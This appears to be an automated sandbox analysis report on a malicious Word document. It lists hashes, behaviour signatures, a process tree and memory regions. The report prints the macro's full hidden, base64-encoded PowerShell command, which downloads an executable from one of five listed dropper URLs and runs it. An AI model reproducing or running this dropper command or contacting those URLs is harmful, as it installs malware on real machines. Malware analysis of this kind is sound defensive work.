Analysis

  • max time kernel
    54s
  • max time network
    29s
  • platform
    windows7_x64
  • resource
    win7-20240729-en
  • resource tags

    arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
  • submitted
    20-11-2024 21:50

General

  • Target

    e7b60a638ac578b594cff9aade9c17415854f1d527a1974db092d0772e676819.doc

  • Size

    213KB

  • MD5

    ae750ae1d56d6c70f5b93344d70218b6

  • SHA1

    49736f692f34f59e3640be867924542c67797247

  • SHA256

    e7b60a638ac578b594cff9aade9c17415854f1d527a1974db092d0772e676819

  • SHA512

    13c756b5ffcc987b645ffdd0febc6a63a60a2021889b562268cc134ea4cfb9fc460af9365de3a857246e749bea68e14fb2c28137337a986dfb2db639edb9fb50

  • SSDEEP

    6144:7n2k4ctGiL3HJk9TD7bb5HDWWv9EvIFbL:7n9Qitk57bNVbL

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://diwafashions.com/wp-admin/mqau6/

exe.dropper

http://designers.hotcom-web.com/ubkskw29clek/qnpm1p/

exe.dropper

http://dixartcontractors.com/cgi-bin/nnuv/

exe.dropper

http://diaspotv.info/wordpress/G/

exe.dropper

http://easyvisaoverseas.com/cgi-bin/v/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\e7b60a638ac578b594cff9aade9c17415854f1d527a1974db092d0772e676819.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2540
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2744
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABWAGgAZAByAGkAZwBwAHQAeQA9ACcARwByAG4AcgBsAHYAagBnAHEAdwBpAGUAbAAnADsAJABRAGgAeQBtAGQAZAB0AHAAdQAgAD0AIAAnADgAOAAyACcAOwAkAFEAeQBmAHIAZgBhAHgAcABzAHAAeQA9ACcAQgBuAGIAbwByAGEAZwB6AGwAcgAnADsAJABLAGEAdABxAGgAcwByAGcAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFEAaAB5AG0AZABkAHQAcAB1ACsAJwAuAGUAeABlACcAOwAkAE8AYQBqAG4AZAByAHUAbAByAD0AJwBTAHoAdABnAHUAeAB6AHcAdwBrAHUAbwAnADsAJABGAHUAegBqAGQAcwBnAHYAZQA9ACYAKAAnAG4AJwArACcAZQB3ACcAKwAnAC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBFAFQALgBXAGUAYgBDAGwAaQBFAE4AVAA7ACQAVgB4AHkAegB5AHYAeQBzAGYAbQA9ACcAaAB0AHQAcAA6AC8ALwBkAGkAdwBhAGYAYQBzAGgAaQBvAG4AcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AbQBxAGEAdQA2AC8AKgBoAHQAdABwADoALwAvAGQAZQBzAGkAZwBuAGUAcgBzAC4AaABvAHQAYwBvAG0ALQB3AGUAYgAuAGMAbwBtAC8AdQBiAGsAcwBrAHcAMgA5AGMAbABlAGsALwBxAG4AcABtADEAcAAvACoAaAB0AHQAcAA6AC8ALwBkAGkAeABhAHIAdABjAG8AbgB0AHIAYQBjAHQAbwByAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBuAG4AdQB2AC8AKgBoAHQAdABwADoALwAvAGQAaQBhAHMAcABvAHQAdgAuAGkAbgBmAG8ALwB3AG8AcgBkAHAAcgBlAHMAcwAvAEcALwAqAGgAdAB0AHAAOgAvAC8AZQBhAHMAeQB2AGkAcwBhAG8AdgBlAHIAcwBlAGEAcwAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHYALwAnAC4AIgBzAFAAbABgAEkAVAAiACgAJwAqACcAKQA7ACQAUAB1AHcAcQBvAGYAZwBoAGwAPQAnAE4AYgBwAHgAZABuAHUAZAAnADsAZgBvAHIAZQBhAGMAaAAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAgAGkAbgAgACQAVgB4AHkAegB5AHYAeQBzAGYAbQApAHsAdAByAHkAewAkAEYAdQB6AGoAZABzAGcAdgBlAC4AIgBkAG8AdwBOAEwAbwBhAGQAYABGAGAASQBsAGUAIgAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAsACAAJABLAGEAdABxAGgAcwByAGcAKQA7ACQAUAB5AHUAbQBiAG0AdgBiAHYAdAA9ACcASABuAHgAeQB2AGMAcwBuACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQASwBhAHQAcQBoAHMAcgBnACkALgAiAGwAZQBuAGAAZwBUAGgAIgAgAC0AZwBlACAAMgA4ADQAMQAxACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAVABhAGAAUgBUACIAKAAkAEsAYQB0AHEAaABzAHIAZwApADsAJABHAGcAdwBqAHkAcwB4AHoAPQAnAFgAYQB2AGMAZABtAHMAbABnAHAAeAAnADsAYgByAGUAYQBrADsAJABVAGIAYQBmAHIAcwBrAGYAeQBiAD0AJwBHAGYAYwB4AGkAeQB1AGEAbQBqAG4AJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUgBwAGEAYwBlAHgAZQByAHUAYgBpAHgAbgA9ACcAQQBrAHoAeQB5AG8AeABoAHAAJwA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2632

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\AC71B717.wmf

      Filesize

      444B

      MD5

      49e6ad0a5a84188508b52cf3c60441fa

      SHA1

      c5b1e02b7b6e7209b9fc89808fe754b09870f769

      SHA256

      7e41b84ecea6b557bc176879aa6edfc2045e626b5ca65990bda7c5e664a9e812

      SHA512

      35ac374cc36cbae0aa44acc1cfcb8902041b529d8aff341f7a4004b882c8c2a85d1f4e0bca005c6eeaa37b362e42f8d32890fe18967e73850449f05df5505e31

    • memory/2540-15-0x00000000003A0000-0x00000000004A0000-memory.dmp

      Filesize

      1024KB

    • memory/2540-5-0x0000000005E70000-0x0000000005F70000-memory.dmp

      Filesize

      1024KB

    • memory/2540-22-0x00000000003A0000-0x00000000004A0000-memory.dmp

      Filesize

      1024KB

    • memory/2540-21-0x0000000006210000-0x0000000006310000-memory.dmp

      Filesize

      1024KB

    • memory/2540-14-0x00000000003A0000-0x00000000004A0000-memory.dmp

      Filesize

      1024KB

    • memory/2540-12-0x00000000003A0000-0x00000000004A0000-memory.dmp

      Filesize

      1024KB

    • memory/2540-13-0x00000000003A0000-0x00000000004A0000-memory.dmp

      Filesize

      1024KB

    • memory/2540-0-0x000000002F5F1000-0x000000002F5F2000-memory.dmp

      Filesize

      4KB

    • memory/2540-38-0x00000000003A0000-0x00000000004A0000-memory.dmp

      Filesize

      1024KB

    • memory/2540-2-0x000000007323D000-0x0000000073248000-memory.dmp

      Filesize

      44KB

    • memory/2540-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2540-25-0x0000000006210000-0x0000000006310000-memory.dmp

      Filesize

      1024KB

    • memory/2540-16-0x00000000003A0000-0x00000000004A0000-memory.dmp

      Filesize

      1024KB

    • memory/2540-37-0x0000000006210000-0x0000000006310000-memory.dmp

      Filesize

      1024KB

    • memory/2540-35-0x000000007323D000-0x0000000073248000-memory.dmp

      Filesize

      44KB

    • memory/2540-36-0x00000000003A0000-0x00000000004A0000-memory.dmp

      Filesize

      1024KB

    • memory/2632-32-0x0000000001E60000-0x0000000001E68000-memory.dmp

      Filesize

      32KB

    • memory/2632-31-0x000000001B510000-0x000000001B7F2000-memory.dmp

      Filesize

      2.9MB